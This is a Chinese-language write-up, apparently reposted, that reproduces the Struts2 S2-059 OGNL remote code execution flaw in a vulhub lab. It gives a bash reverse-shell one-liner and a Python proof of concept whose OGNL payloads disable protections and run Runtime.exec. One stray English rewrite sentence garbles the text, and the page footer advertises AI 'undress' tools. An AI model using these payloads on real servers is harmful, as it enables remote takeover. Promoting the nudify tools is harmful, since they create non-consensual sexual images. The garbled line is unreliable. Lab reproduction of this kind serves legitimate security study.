搜索
首页运维安全Struts2 S2-059 远程代码执行漏洞复现是怎么样的

0x00简介

Struts2 是 Apache 软件组织推出的一个相当强大的 Java Web 开源框架,本质上相当于一个 servlet。Struts2 基于 MVC 架构,框架结构清晰。通常作为控制器(Controller)来建立模型与视图的数据交互,用于创建企业级 Java web 应用程序,它利用并延伸了Java Servlet API,鼓励开发者采用MVC架构。Struts2以WebWork优秀的设计思想为核心,吸收了Struts框架的部分优点,提供了一个更加整洁的MVC设计模式实现的Web应用程序框架。

0x01漏洞概述

攻击者可以通过构造恶意的OGNL表达式,并将其设置到可被外部输入进行修改,且会执行OGNL表达式的Struts2标签的属性值,引发OGNL表达式解析,最终造成远程代码执行的影响。

0x02影响范围

Struts 2.0.0 – Struts 2.5.20

0x03环境搭建

1.本次漏洞环境使用vulhub快速搭建,vulhub下载地址如下:

https://github.com/vulhub/vulhub

cd vulhub-master/struts2/s2-059

Struts2 S2-059 远程代码执行漏洞复现是怎么样的

2.使用docker-compose快速构建靶场环境

docker-compose up -d

Struts2 S2-059 远程代码执行漏洞复现是怎么样的

3.启动完成后在浏览器访问http://ip:8080/?id=1 就可以看到测试界面

Struts2 S2-059 远程代码执行漏洞复现是怎么样的

0x04漏洞复现

1.在浏览器访问http://ip:8080/?id=%25{88*88},可以发现执行的88*88成功被解析了,会执行OGNL表达式的Struts2标签的属性值,引发OGNL表达式解析。

Struts2 S2-059 远程代码执行漏洞复现是怎么样的

2.使用poc来反弹shell,反弹shell的payload需要使用base64编码

bash -i >& /dev/tcp/172.16.1.132/9967 0>&1

base64编码网址:

The original sentence is already a complete sentence that is providing a link. If I were to rewrite it, it could be something like: Here is a link to a webpage containing information about runtime exec payloads: http://www.jackson-t.ca/runtime-exec-payloads.html.

Struts2 S2-059 远程代码执行漏洞复现是怎么样的

import requests

url = "http://127.0.0.1:8080"

data1 = {

"id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}"

}

data2 = {

"id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('payload-base64编码'))}"

}

res1 = requests.post(url, data=data1)

res2 = requests.post(url, data=data2)

3.修改poc中的payload为自己的payload,然后使用python运行,可以看到反弹了shell

Struts2 S2-059 远程代码执行漏洞复现是怎么样的

Struts2 S2-059 远程代码执行漏洞复现是怎么样的

0x05修复建议

1.升级到Struts 2.5.22或更高版本

2. 开启ONGL表达式注入保护措施。

https://struts.apache.org/security/#proactively-protect-from-ognl-expression-injections-attacks-if-easily-applicable

以上是Struts2 S2-059 远程代码执行漏洞复现是怎么样的的详细内容。更多信息请关注PHP中文网其他相关文章!

声明
本文转载于:亿速云。如有侵权,请联系admin@php.cn删除

热AI工具

Undresser.AI Undress

Undresser.AI Undress

人工智能驱动的应用程序,用于创建逼真的裸体照片

AI Clothes Remover

AI Clothes Remover

用于从照片中去除衣服的在线人工智能工具。

Undress AI Tool

Undress AI Tool

免费脱衣服图片

Clothoff.io

Clothoff.io

AI脱衣机

Video Face Swap

Video Face Swap

使用我们完全免费的人工智能换脸工具轻松在任何视频中换脸!

热工具

Dreamweaver CS6

Dreamweaver CS6

视觉化网页开发工具

螳螂BT

螳螂BT

Mantis是一个易于部署的基于Web的缺陷跟踪工具,用于帮助产品缺陷跟踪。它需要PHP、MySQL和一个Web服务器。请查看我们的演示和托管服务。

SublimeText3 Mac版

SublimeText3 Mac版

神级代码编辑软件(SublimeText3)

VSCode Windows 64位 下载

VSCode Windows 64位 下载

微软推出的免费、功能强大的一款IDE编辑器

SublimeText3汉化版

SublimeText3汉化版

中文版,非常好用